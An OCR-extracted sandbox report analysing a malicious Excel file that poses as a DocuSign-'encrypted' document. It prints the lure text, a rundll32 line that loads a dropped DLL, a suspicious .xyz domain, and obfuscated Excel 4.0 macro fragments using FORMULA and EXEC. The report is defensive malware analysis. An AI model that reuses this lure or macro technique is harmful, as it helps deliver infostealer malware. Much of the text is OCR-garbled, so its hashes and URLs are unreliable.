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Analysis Report lovwfUybUJ.xlsx
Overview

General Information Detection

Sample lovwfUybUJ.xIsx
Name: MALICIOUS

Analysis ID: 411582

Classification

Multi AV Scanner detection for doma...

Multi AV Scanner detection for subm...

MD5: ) . . .
bcbSf8cedac103a. Office document tries to convince vi...
SHA1L:
fecc0e19a042d3d. Document exploit detected (UrlDown...
SHA256: 9872498872843b..
Document exploit detected (process...
Tags:

Found Excel 4.0 Macro with suspicio...

Infos: n

Found abnormal large hidden Excel ...
Office document connecting to susp...

Hidden Macro 4 Outdated Microsoft Office dropper:d...

w
«Q
>
2
(=
=
®
(7]

Score: 100 Performs DNS gueries to domains w...
cumorormis socum Range: 0-100 Potential document exploit detected...
Whitelisted: false
) ) 0 Sigma detected: Microsoft Office Pr...
DOCUSI?A«; Confidence: 100%
The GlabalStandard for eSignature”
B e
Startup

= System is w7x64

. EXCEL.EXE (PID: 2412 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
. D rundll32.exe (PID: 2640 cmdline: rundll32 ..\iuhdvcl.ckd,DIIRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary: -i.

Sigma detected: Microsoft Office Product Spawning Windows Shell

Signature Overview
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@ AV Detection

® Compliance

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Hooking and other Techniques for Hiding and Protection

@

AV Detection:

Click to jump to signature section

]

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Software Vulnerabilities:

]

]

Networking:

System Summary:

]

Office document tries to co i i le ActiveX or Macros)

Mitre Att&ck Matrix

Remote
Initial Privilege  Defense Credential Lateral Command Network Service
Access Execution Persistence Escalation Evasion Access Discovery  Movement Collection Exfiltration and Control Effects Effects In
Valid Scripting Path Process Masquerading os File and Remote Data from  Exfiltration Non- Eavesdrop on  Remotely M
Accounts Interception Injection Credential Directory Services Local Over Other Application Insecure Track Device S
Dumping  Discovery System Network Layer Network Without Pi
Medium Protocol Communication Authorization
Default  Exploitation for Boot or Boot or Disable or Modify LSASS System Remote Data from  Exfiltration Application Exploit SS7 to  Remotely Di
Accounts Client Logon Logon Tools Memory  Information  Desktop Removable Over Layer Redirect Phone Wipe Data  Lc
Execution Initialization  Initialization Discovery Protocol Media Bluetooth Protocol Calls/SMS Without
Scripts Scripts Authorization
Domain At (Linux) Logon Script Logon Rundll32 Security  Query SMB/Windows Data from Automated Ingress Tool Exploit SS7to Obtain Di
Accounts (Windows)  Script Account  Registry Admin Shares Network Exfiltration Transfer Track Device  Device Di
(Windows) Manager Shared Location Cloud Di
Drive Backups
Local At (Windows)  Logon Script Logon Process NTDS System Distributed Input Scheduled Protocol SIM Card Ci
Accounts (Mac) Script Injection Network Component  Capture Transfer Impersonation Swap Bi
(Mac) Configuration Object Model Fr

Discovery
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Remote

Initial Privilege  Defense Credential Lateral Command Network Service
Access Execution Persistence Escalation Evasion Access Discovery  Movement Collection Exfiltration and Control Effects Effects
Cloud Cron Network Network Scripting LSA Remote SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Logon Secrets System Transfer Channels Device

Script Discovery Size Limits Communication

Behavior Graph

Al
Ri
or

Hide Legend

Behavior Graph Legend:
B Proces
Sample: lovwfUybUJ.xIsx
Startdate: 12/05/2021 . Signature
Architecture:  WINDOWS . Created File
Score: 100
Il onsieinfo
ﬂ Is Dropped

.
= aEE
Fy Bt

i
i
=

@ EXCEL.EXE

L@ 2 )

qvay23thdsed03xjeqtf.xyz dropped

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Is Windows Process

Number of created Registry Values
Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

started

\/
'°° rundli32.exe H

-]
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TowwfUybl) - Microsoft Excel - lovwfUybUJ
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THIS DOCUMENT IS ENCRYPTED BY

DOCU DOCUSIGN® PROTECT SERVICE

D E
®

PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION

[I] If this document was downloaded from Email, please click Enable Editing
from the yellow bar above

Once You have Enable Editing, please click Enable Content
from the yellow bar above

WHY | CANNOTOPEN THIS DOCUMENT?

@ Youare usingiOS or Android, please use Desktop PC

m You are trying to view this document using Online Viewer

Docuﬁgm
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Ready |
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
lovwfUybUJ.xIsx
lovwfUybUJ.xIsx

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source

qvay23thdsed03xjeqtf.xyz

URLs

Source

hitp://iwww.icra.org/vocabulary/.

Copyright Joe Security LLC 2021

Detection
40%
25%

Detection

12%

Detection

0%

224 AM
5A2200 |

A

Scanner Label Link
Virustotal Browse
ReversingLabs Document-
Office.Infostealer.Dridex
Scanner Label Link
Virustotal Browse
Scanner Label Link
URL Reputation safe
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https://www.virustotal.com/gui/file/9872498872843b5aae813d390df3e46ae02a4cc994ade723e4f5ba2973043fb7/detection/f-9872498872843b5aae813d390df3e46ae02a4cc994ade723e4f5ba2973043fb7-1620759889
https://www.virustotal.com/gui/url/19629c1257234c30457dc7a340bda900b9c759f2edd3ce0c035ddfa44eeb1f1a/detection/u-19629c1257234c30457dc7a340bda900b9c759f2edd3ce0c035ddfa44eeb1f1a-1620760759

Source

hitp://iwww.icra.org/vocabulary/.

hitp://iwww.icra.org/vocabulary/.

hitp://iwww.icra.org/vocabulary/.
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true

hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true

Domains and IPs

Contacted Domains

Name

Active

Detection
0%
0%
0%
0%
0%
0%
0%

Malicious

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

Antivirus Detection

Label
safe
safe
safe
safe
safe
safe

safe

Link

Reputation

URLs from Memory and Binaries
Name
hitp://services.msn.com/svcs/oe/certpage.asp?

name=%s&email=%s&&Check

hitp:/f/www.windows.com/pctv.

hitp://investor.msn.com

hitp:/fiwww.msnbc.com/news/ticker.txt

hitp://iwww.icra.org/vocabulary/.

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

hitp://www.hotmail.com/oe

hitp://investor.msn.com/

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Copyright Joe Security LLC 2021

Source

rundll32.exe, 00000003.0000000

2.2099200495.0000000001C97000.

00000002.00000001.sdmp
rundll32.exe, 00000003.0000000

2.2099010236.0000000001AB0000.

00000002.00000001.sdmp
rundll32.exe, 00000003.0000000

2.2099010236.0000000001AB0000.

00000002.00000001.sdmp
rundll32.exe, 00000003.0000000

2.2099010236.0000000001AB0000.

00000002.00000001.sdmp
rundll32.exe, 00000003.0000000

2.2099200495.0000000001C97000.

00000002.00000001.sdmp

rundll32.exe, 00000003.0000000

2.2099200495.0000000001C97000.

00000002.00000001.sdmp

rundll32.exe, 00000003.0000000

2.2099010236.0000000001AB0000.

00000002.00000001.sdmp
rundll32.exe, 00000003.0000000

2.2099010236.0000000001AB0000.

00000002.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

Antivirus Detection

32.0.0 Black Diamond

411582
12.05.2021
02:22:58
CloudBasic
Oh 5m 37s
false

light

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

safe
safe
safe
safe

safe
safe
safe
safe

lovwfUybUJ.xIsx

defaultwindowsofficecookbook.jbs

Reputation

high

high

high

high

unknown

unknown

high

high
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https://www.virustotal.com/gui/url/19629c1257234c30457dc7a340bda900b9c759f2edd3ce0c035ddfa44eeb1f1a/detection/u-19629c1257234c30457dc7a340bda900b9c759f2edd3ce0c035ddfa44eeb1f1a-1620760759

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs

No context
Domains

No context

ASN

No context

JA3 Fingerprints
No context

Dropped Files

No context

Copyright Joe Security LLC 2021

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

6
0
0
0
0

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal100.troj.expl.evad.winXLSX@3/11@1/0
Failed

Failed

e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
Xlsx

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

3

e o o o o o
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Created | dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\32819ACB.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 557

Entropy (8bit): 7.343009301479381

Encrypted: false

SSDEEP: 12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNIJTNSBOgNMQCVGEVfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20gNM1dvfSviNd
MDS5: A516B6CB784827C6BDE58BCID341C1BD

SHA1L: 9D602E7248E06FF639E6437A0A16EATA4FIE6CT3

SHA-256: EF8F7EDB6BAOB5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074

SHA-512: C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7FI6D55B0CIB02F6BIBFAF4E915191683126183E49E668B6049048D35
Malicious: false

Reputation: moderate, very likely benign file

Preview:

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\47B18D72.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 205 x 58, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 8301

Entropy (8bit): 7.970711494690041

Encrypted: false

SSDEEP: 192:BzZNWXTPmjktA8BddiGGWjNHOQRuUd4JTTOFPY4:B8aoVTOQNuzWKPh

MDS5: D8574C9CC4123EF67C8B600850BES2EE

SHA1L: 5547AC473B3523BA2410E04B75E37B1944EEOCCC

SHA-256: ADD8156BAA01E6A9DE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B

SHA-512: 20D29AF016ED2115C210F4F21C65195F026 AAEAL4AALBE36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBA(
F

Malicious: false

Reputation: moderate, very likely benign file

Preview:
PNG........ IHDR.......luee 1J....sRGB

m..g.h.SRR.\.p...."N...EEE...X9......c.&M...]l.n.g4..E..g..w..{. . w..L..y.m\..~.;.]. dl
n.3.M..g....... 6....pP"#F..P/S.L..W.A..0.r.... 5H......111t....19..3... 0. > {.t~/F.b..h.P.]z..).....0.4n.F..e.0M.... . #"h.K. K....g...... A w.L$.&..7n.].F\ALLBIXj.KI........ g.....3¢...
Lfitis 5.C4.+Wly...88..2.,Y. ALB8{.@VN.6....Kbch.=zt...7+T...v.z...P.....VVV.."t.N.....$..Jag.v.U...P[(_.12.9.4i.G.$U..D.....W.r........... > #G...3.x.b....P...HLV]

cenb2.%.Zc_Gal&L L) 7. WomL#8k.. ) UL LG .gq.F.e> s .g.L du L (N ke omLLL=).

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4B18A11.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 485 x 185, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 34780

Entropy (8bit): 7.9888524748689225

Encrypted: false

SSDEEP: 768:qKFodDvgUrYTD1EgYKRN4IME7h8kqn96FvIDTVLIb:qK4Ys4xTYNIME78WVVVR

MD5: 3D0E5573022CD8A7F78291FC7959C19F

SHA1L: 92A55931306950014C83BFB50997B5F1BAD489F1

SHA-256: 727E6480CC68136081EAF26F3CAD5C1970191F092BF44C524330365185A6E74C

SHA-512: 9E3F49874CE1FD1A97B3A7C192BE92515496D1E5F8883156A1C13F5BACD5A18BC1EEO6EBIAE4AB4E06A1919F4034D50A67E3EBD6FFC5743BEEC550C2F4F1BE
85

Malicious: false

Reputation: low

Preview:

..21.b.%K... #D..

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5214BE50.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
Category: dropped

Copyright Joe Security LLC 2021 Page 10 of 34



C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5214BE50.png

Size (bytes): 848
Entropy (8bit): 7.595467031611744
Encrypted: false
SSDEEP: 24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:Jljm3pQCLWYi67Ic
MD5: 02DB1068B56D3FD907241C2F3240F849
SHA1L: 58EC338C879DDBDF02265CBEFA9A2FB08C569D20
SHA-256: D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387BOEA3773D908DD25F
SHA-512: 9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F86421206467!
Malicious: false
Reputation: moderate, very likely benign file
Preview:
PNG........ IHDR....cocurun 0. SRGB......... pHYS.....c.... +......IDAT80.TJH.Q..;3...2..fkIR..R$.R.Pb.Q...B.OA..T$.hAD...J../..-h.. fj..+....;s.vg.Zsw.=.. {w.s.w.@.....;..5...0......
3P, 81@ Iri.. >.LLa.b?h..1.6..U....1... T..0.d.KSA..7.YS. a(F@ xeMlL.$h....PpJ..k%....9..QQ...h..1H*........
LE..f2. d( V.o~ P+p|k+ XEU.g....._xfw...+..(. pQ( (UL).@.2.. IX+@F...+....)..k.A2..1~B,...TZ..y..9...” 0....q....yY Q ALLL8)L09.t&..g. 1@
Sxhe8l~ A+ mEm Wi {.+>P Rh.+.br$. g (e S AL MZ ML 9L ELLIU[S DX 7<....Wd....... p..C...AMyl:...c.A..SI.mGij,....... Lho$ yD./.a..
Y*A....[END.B".

C:\Users\user\AppData\Local\Temp\2FDE0000

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 84052

Entropy (8bit): 7.898235354624251

Encrypted: false

SSDEEP: 1536:AP7WynK4Ys4xTYNIME78WVVV2fiWpIxTFLVSSUBKW5W7YQu:AJK4YBkmI2gWpsFLg18KuwYQu

MDS5: D742F24BB867B2F33782A977D82523FE

SHAL: 96462A057F390033856182E9EE600D58266BD270

SHA-256: 3D32037F66CB3C88ABC251EB39612AA30A5AE7743C3C560EBFD7B03AA4117724

SHA-512: 539ED930AF06DD3BFIFEBAD78629A17559F4A356235F80674DD84A5006F010FFDFD5E2A37CBB3BFF959A073CB1616C53456EE504A94D2F9084403CB68D386AA

Malicious: false

Reputation: low

Preview:
.U.n.0...2....C..I72.&.an.0........ %..E.Y.on. "[.Zv..X.Nz].....O. $ he 2L EL>so k- GLKIR 2L Tonhy d. L T--E L V2t LP LKL L {H. LG,
B JFd.94TY. ..~."a,;..0...F...1}.... }V._7.Ar. .k HOMI..BF....... .. e ?e ; }1.5.b..PQ<g.|x.<..../

AL.3...3.>..|h)PG.y9$..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed May 12
08:23:42 2021, atime=Wed May 12 08:23:42 2021, length=8192, window=hide
Category: dropped
Size (bytes): 867
Entropy (8bit):  4.488696264879744
Encrypted: false
SSDEEP: 12:85QRRLgXg/XAICPCHaXEKB8VXB/SnX+WnicvbCLbDtZ3YiIMMEpxRIJKATdIPITK:85s/XTOKEVXMYeWXDv3qNrNru/
MD5: CF9C7B389DC070C9FDD1BFAEF95CB8D8
SHA1L: 27BEB192A5F9A87A6C73DC89148A5114D1B152CD
SHA-256: 510CE14870D11BCBC9F98A64BF281F149C4B944877B38F28B142CEAC462C5A4C
SHA-512: 549B39C25CECB37D7374B5C74DF2EA7637192D036AFED2D541191973CED586A0FF67DC380383020FE4A04C8F92181D864629B3E2BF075DD5B32506EB66210E7
Malicious: false
Reputation: low
Preview:
B 400, /C t1.....QK.X. Users. ........QK.X* ..o 6....Us.ers..@.s.h.ell3.2.d.ll,.
Alb.us.....z.1......R.J..Desktop.d. Desktop .@.s.h.ell.3.2..d.ll.,.-.2.
. BN (SO \\536720\Users user\Desktop.... D e.s. kto Peeeieeetoy . LB)AG 1SPS.XF.L
S 1 5 21 966771315 .3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6... ‘.......X.......536720 .......... D_....3N...W...9r.[.* ....... }EKD_....3N
C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\lovwfUybUJ.LNK
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:18 2020, mtime=Wed May 12 08:23:42 2021,
atime=Wed May 12 08:23:42 2021, length=82897, window=hide

Category: dropped
Size (bytes): 2038
Entropy (8bit):  4.57278260124542
Encrypted: false
SSDEEP: 48:8ik/XT0ZVXbQON3SNQh2ik/XT0ZVXbQON3SNQ/:8ik/XuVXbINQh2ik/XuVXbINQ/

Copyright Joe Security LLC 2021 Page 11 of 34



C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\lovwfUybUJ.LNK

MD5: D6B23A17B47E07D3F9ECB5189F9D2D52

SHA1L: B02CB3E10FCCFFDOE54ACF3090A40B7ECDEBOELF

SHA-256: A194726FATE6FF4655F7328639903254B591A06E88CCA66E5A84736BBFBOD7D7

SHA-512: D321EA5B3109B429DE36E548F43CAESEDA78045696B24F503AC187A59E136CD1EOF01B58A9C7EL7D3B3864AA3973F490BB5476C06B6973A3286CIF23BAD2A53
Malicious: false

Reputation: low

Preview:

| ISR Fo -5 f)nGld5lGL.Cl P.O. ... 400.../C:\ec t1....QK.X.Users. .......QK.X*.....coooend 6...Us.ers..@.s.h.ell32.dll,.-
.2.1.8.1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...&=...U Alb.us....z.1....Q.y..Desktop.d.....QK.X.Q.y*. ....D.eskto.p..@s.hell3.2.dll,.-2
.1.7.6.9....h.2.iH...R.J .IOVWFU~1.XLS..L. . JLowvw.fUy.b.UJ. .xlsx
20\Users.user\Desktop\lovwfUybUJ.xIsx.&....\....\....\....\....\.D.e.s.k.t.o.p.\.L.o.v.w.f.U.y.b.U.J..x.|l.s.x
.2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............".......X.......636720.......... .

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 85

Entropy (8bit): 4.637997700487247

Encrypted: false

SSDEEP: 3:0yBVomxWnIS9fOKgfmxWnlIS9fv:djUvcvp

MD5: EC8BFA504F021734837C28B3B42BC4CE

SHAL: 43DAEB03DODDF96039E252698C7FCBEBA45169E4

SHA-256: 446520601B8F5F2509DB01D6FEC178A23E9CDB1AA9B5F33D3D9CC73F19C41245
SHA-512: EFA62C469370FC45D4EFC1A5013CF1AE4E32D8AABA70B161042B86548D0F27CAB8230F6A27BD7EB131AD7835D5ADDFED2016D044F7F0F7A0C5442F010711533¢
Malicious: false

Reputation: low

Preview:

Desktop.LNK=0..[misc]..lovwfUybUJ.LNK=0..lovwfUybUJ.LNK=0..[misc]..lovwfUybUJ.LNK=0..

C:\Users\user\Desktop\FFDE0000

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 82897

Entropy (8bit): 7.896362058614588

Encrypted: false

SSDEEP: 1536:iHXK4Ys4xTYNIME78wVVV2fVWpIXTFLVSSU8KW5W7YQ9j:i3K4YBkmI2dWpsFLg18KuwYQJ
MD5: 7898148263817928F2B05480C1794ABD

SHAL: 664A3D1F6E4D35F3A4166C4E54C42BIACAEC250E

SHA-256: 332495AE67C3B5E37A9BBF329950970BE34483FA70CF4D2BE62E122DBDD3C067

SHA-512: 5F8140D2B50F411A9437CFE473DFEFB3BFCICD6EEFCIF1AFAFB870F9878708B4179F3931B19EE681CE2BF5488B70B25BC622CF896D306A42DF862E0E1716E4E
Malicious: false

Preview:

.U.N.0.#....(qY.PS.,G@.|..O...my....8m..J..J....[.%.
..Mm..i..9.0G..q..as.C.....3....{+.+..4%0% j8-9........d.0.P.F...C.=
.[Content_Types].xml ...(

C:\Users\user\Desktop\~$lovwfUybUJ.xls

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: data
Category: dropped
Size (bytes): 165
Entropy (8bit): 1.4377382811115937
Encrypted: false
SSDEEP: 3:vZ/FFDIw2fV:vBFFGS
MD5: 797869BB881CFBCDAC2064F92B26E46F
SHAL: 61C1B8FBF505956A77E9A7I9CE74EFSE281B01F4B
SHA-256: D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CDOB081F185
SHA-512: 1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCEBAD3A82D664E3C65CC5251D0E4A21F750911AESDC2FC3653E49F581
Malicious: false
Preview:
.user JALbus.
e D )
Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
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File Type: data

Category: dropped

Size (bytes): 330

Entropy (8bit): 1.4377382811115937

Encrypted: false

SSDEEP: 3:vZ/FFDIwW2fj/FFDIw2fV:vBFFGaFFGS

MD5: 96114D75E30EBD26B572C1FC83D1D02E

SHAL: A44EEBDASEB09862AC46346227F06F8CFAF19407

SHA-256: 0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EBBAC6113DC7D69CO6AD4A83FAFOF021AD7C8D30600AA8168348BDOFAS
0

Malicious: true

Preview:

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "lovwfUybUJ.xIsx"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Copyright Joe Security LLC 2021

ede2aaBaadb4bcb4

OpenXML
1

JAlbuso oo

Microsoft Excel 2007+
7.8985100800919925

e Excel Microsoft Office Open XML Format document
(40004/1) 83.33%
e ZIP compressed archive (8000/1) 16.67%

lovwfUybUJ.xIsx

84073

bch5f8c6da6103a5bbd4891095f807af
fcccOe19a042d3da003bc4184b32c784cabdfd14

9872498872843b5aae813d390df3e46ae02a4cc994ade?
23e4f5ba2973043fb7

6ab60fdcbc2f44b596fe66bd513e656d541d05f945f54d6e
35616c31ab28fdfa587658fa69e68c6bd56842805f8ca2l
727b7a51fda6f594f9d2b198ech8fbcd2

1536:yE7pyuK4Ys4xTYNIME78wVVVIf7u03IXTFLVSSu
8KW5W7YQfH:ycK4YBkmIIXsFLg18KuwYQfH

..[Content_Types].xml ...
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Indicators

Contains VBA Macros:

Macro 4.0 Code

T, [T, [T, s “RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT (54623
,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)="Doc1"AJ5()",,,.,.:.s IS T )
T, [T, s = &G G G & & & & MM s [T, [T, rEg g G &M
g g G G G G G G & & G & & & & M & M & & M & M &
g g G G G & & & M M & & &M & M =RAND ()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRO
DUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=FORMULA('Doc4'!$AT$3&'Doc4 I$AT$4&'Doc4 I $AT$5&'Doc4 ISATS6
&'Doc4'!$AT$78&'Docd'I$ATS8, before.4.2.0.sheet!$AQ$13)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT (54623,42,452,4
52,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)="""&""&"""&"""&" """ &"""&"""&" """ &"""&" " &" """ &"""&" " &" """ &"""&" " &" """ &"""&" " &""&
g g G GG G G G G G G G & G & & & & & ‘&' & g & & g

&g GG G G G G G G & & & & & & & M & & & & & &
&g GG G M & M & G &M M & & & M =RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMP
RODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=FORMULA('Doc4'!AU3&'Doc4'|AU4&'Doc4'|AUS&'Doc4 | AUB&'Doc4' AU7&'Doc4' AUB&'Doc4' | AU9&'Doc4' AUL0&'Do
c4'1AU11&'Doc4'!AU12&'Docd'AUL3&'Doca' ! AUL4&'Docd ! AUL5&'Doc4'tAUL6&'Docd' AUL7&'Docd' AUL8&'Docd ! AUL9&'Doc4d'!AU20, before.4.2.0.sheet! AQ14)=RAND()=SUMPRODUCT(54623,42,452,4
52,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,4
52,452)="""gm g G G GG GG G G & & G & G & G G & G & & & & & &

1 I 1 I I 111, I LI © LI I I I 11, @ 1 @ s © vt
1 I 1 I I 111, I LI L I I I 1, @ 111 s ©

I I 1L I 111 I 1, 111 LI © LI I W11 I 1IN I LI LI I 11 I 1N I I LI © i i i i
g i @ 111111 I I, 11 LI @ LI I 111 I 1 I NI LI I 1T I 1 @ 11t @ s © s
L i I @ LG LG Qg L

=HALT()ttp://

T T IS s, SAVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVEI
GE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,
7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,3947
3,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=
SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,2345389
7,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=EXEC('Doc3'I$AQ$18&"'2 "
"&before.2.1.0.sheet!$A$106&'Doc3'1$AQ$19)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,234538
97,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,432
8398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERA
GE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,
7324523)=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)="D0C2'"'A100()",.111111sssssssssssmsmssssssssssssssssssssnsssssssnn [T, N
"=AVERAGE(39393275,4328398,3735,23453897,52354327832)=SUM(93432,39473,4538937,32532,7324523)",,,,.111sm s

Network Behavior

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
May 12, 2021 02:23:53.896385908 CEST 52197 53 192.168.2.22 8.8.8.8
May 12, 2021 02:23:53.958700895 CEST 53 52197 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

